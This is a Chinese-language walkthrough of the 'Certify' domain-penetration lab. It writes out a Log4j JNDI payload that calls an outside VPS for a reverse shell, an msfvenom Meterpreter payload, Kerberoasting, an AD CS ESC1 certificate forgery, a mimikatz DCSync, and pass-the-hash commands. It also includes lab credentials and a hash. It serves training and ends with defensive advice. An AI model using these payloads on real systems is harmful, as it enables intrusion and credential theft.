记一次春秋云镜域渗透靶场Certify
字数 1472 2025-08-25 22:58:29

域渗透靶场Certify实战教学文档

靶场概述

Certify是一套中等难度的域渗透靶场环境,包含4个分布于不同靶机的flag。该靶场涵盖了内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术,重点强化对域环境核心认证机制的理解。

技术涉及点

  • Solr RCE (Log4j漏洞利用)
  • AD CS (Active Directory证书服务)攻击
  • SMB共享利用
  • Kerberos协议攻击
  • 域渗透技术

外网打点

1. 信息收集

发现目标系统开放服务:

  • SSH服务
  • 80端口Nginx默认页面
  • SolrAdmin管理界面(8983端口)

2. Solr Log4j RCE利用

步骤:

  1. 确认Solr使用存在漏洞的Log4j组件
  2. 准备JNDI反弹shell工具:
    java -jar JNDIExploit-1.3-SNAPSHOT.jar -i yourVPS
    
  3. 开启监听:
    nc -lnvp 80
    
  4. 发送恶意请求触发漏洞:
    GET /solr/admin/cores?action=${jndi:ldap://119.91.26.244:1389/Basic/ReverseShell/119.91.26.244/80} HTTP/1.1
    Host: 47.92.242.84:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

3. 提权获取flag01

  1. 检查sudo权限:
    sudo -l
    
  2. 发现可使用grc命令:
    sudo grc --help
    
  3. 查找flag:
    sudo grc --pty find / -name flag*
    
  4. 获得flag01

内网渗透准备

1. 建立Meterpreter会话

  1. 生成Linux Meterpreter payload:
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=yourVPS LPORT=443 -f elf -o shellrawss
    
  2. 开启HTTP服务传输payload:
    python3 -m http.server
    
  3. MSF设置监听:
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST yourVPS
    set LPORT 443
    run
    
  4. 目标机下载并执行payload获取会话

2. 内网信息收集

  1. 上传fscan进行内网扫描:
    ./fscan_386 -h 172.22.9.0/24 >> fscan.txt
    
  2. 扫描结果:
    • 172.22.9.19: 入口IP
    • 172.22.9.7: 域控制器DC
    • 172.22.9.26: 域成员
    • 172.22.9.47: 文件服务器
    • 172.22.9.13: CA服务器

3. SMB共享利用获取flag02

  1. 使用nmap扫描SMB服务:
    proxychains nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt
    
  2. 访问SMB共享:
    proxychains smbclient \\\\172.22.9.47\\filesharedir
    
  3. 下载文件:
    get personnel.db
    get secret\flag02.txt
    
  4. 获得flag02

域渗透进阶

1. Kerberoast攻击

  1. 从personnel.db获取用户名和密码
  2. RDP爆破尝试:
    proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
    
  3. 使用GetUserSPNs.py寻找SPN:
    proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
    
  4. 使用hashcat破解:
    hashcat64.exe -m 13100 1.txt rockyou.txt
    
  5. 获得凭证:zhangxia/MyPass2@@6
  6. 远程登录:
    rdesktop 172.22.9.26
    

2. AD CS ESC1攻击

  1. 使用Certify.exe定位漏洞:

    Certify.exe find /vulnerable
    
  2. 确认ESC1利用前提条件:

    • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
    • PkiExtendedKeyUsage: Client Authentication
    • Enrollment Rights: NT Authority\Authenticated Users
  3. 为域管申请证书:

    Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
    
  4. 转换证书格式:

    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  5. 请求TGT并PTT:

    Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
    

3. 获取域管权限

  1. 上传mimikatz导出哈希:
    mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
    
  2. 获得域管哈希:2f1b57eefb2d152196836b0516abea80

4. 横向移动获取flag03

  1. 哈希传递攻击:
    proxychains crackmapexec smb 172.22.9.26 -u administrator -H 2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
    
  2. 获得flag03

5. 攻击域控制器获取flag04

  1. 使用WMI执行命令:
    proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7
    
  2. 获得flag04

关键知识点总结

  1. Log4j漏洞利用:通过JNDI注入实现RCE
  2. 内网代理:使用socks5代理和proxychains工具链
  3. 信息收集:fscan和nmap在内网扫描中的应用
  4. Kerberoast攻击:通过SPN获取服务账户哈希进行破解
  5. AD CS攻击:利用证书模板漏洞获取域管权限
  6. 横向移动技术:哈希传递、WMI远程执行等

防御建议

  1. 及时更新Log4j等存在漏洞的组件
  2. 限制证书模板的权限,特别是ENROLLEE_SUPPLIES_SUBJECT属性
  3. 监控异常证书申请行为
  4. 启用SMB签名防止哈希传递攻击
  5. 限制域管理员等高权限账户的登录范围
  6. 定期审计SPN和服务账户
域渗透靶场Certify实战教学文档 靶场概述 Certify是一套中等难度的域渗透靶场环境,包含4个分布于不同靶机的flag。该靶场涵盖了内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术,重点强化对域环境核心认证机制的理解。 技术涉及点 Solr RCE (Log4j漏洞利用) AD CS (Active Directory证书服务)攻击 SMB共享利用 Kerberos协议攻击 域渗透技术 外网打点 1. 信息收集 发现目标系统开放服务: SSH服务 80端口Nginx默认页面 SolrAdmin管理界面(8983端口) 2. Solr Log4j RCE利用 步骤: 确认Solr使用存在漏洞的Log4j组件 准备JNDI反弹shell工具: 开启监听: 发送恶意请求触发漏洞: 3. 提权获取flag01 检查sudo权限: 发现可使用grc命令: 查找flag: 获得flag01 内网渗透准备 1. 建立Meterpreter会话 生成Linux Meterpreter payload: 开启HTTP服务传输payload: MSF设置监听: 目标机下载并执行payload获取会话 2. 内网信息收集 上传fscan进行内网扫描: 扫描结果: 172.22.9.19: 入口IP 172.22.9.7: 域控制器DC 172.22.9.26: 域成员 172.22.9.47: 文件服务器 172.22.9.13: CA服务器 3. SMB共享利用获取flag02 使用nmap扫描SMB服务: 访问SMB共享: 下载文件: 获得flag02 域渗透进阶 1. Kerberoast攻击 从personnel.db获取用户名和密码 RDP爆破尝试: 使用GetUserSPNs.py寻找SPN: 使用hashcat破解: 获得凭证:zhangxia/MyPass2@@6 远程登录: 2. AD CS ESC1攻击 使用Certify.exe定位漏洞: 确认ESC1利用前提条件: msPKI-Certificates-Name-Flag: ENROLLEE_ SUPPLIES_ SUBJECT PkiExtendedKeyUsage: Client Authentication Enrollment Rights: NT Authority\Authenticated Users 为域管申请证书: 转换证书格式: 请求TGT并PTT: 3. 获取域管权限 上传mimikatz导出哈希: 获得域管哈希:2f1b57eefb2d152196836b0516abea80 4. 横向移动获取flag03 哈希传递攻击: 获得flag03 5. 攻击域控制器获取flag04 使用WMI执行命令: 获得flag04 关键知识点总结 Log4j漏洞利用 :通过JNDI注入实现RCE 内网代理 :使用socks5代理和proxychains工具链 信息收集 :fscan和nmap在内网扫描中的应用 Kerberoast攻击 :通过SPN获取服务账户哈希进行破解 AD CS攻击 :利用证书模板漏洞获取域管权限 横向移动技术 :哈希传递、WMI远程执行等 防御建议 及时更新Log4j等存在漏洞的组件 限制证书模板的权限,特别是ENROLLEE_ SUPPLIES_ SUBJECT属性 监控异常证书申请行为 启用SMB签名防止哈希传递攻击 限制域管理员等高权限账户的登录范围 定期审计SPN和服务账户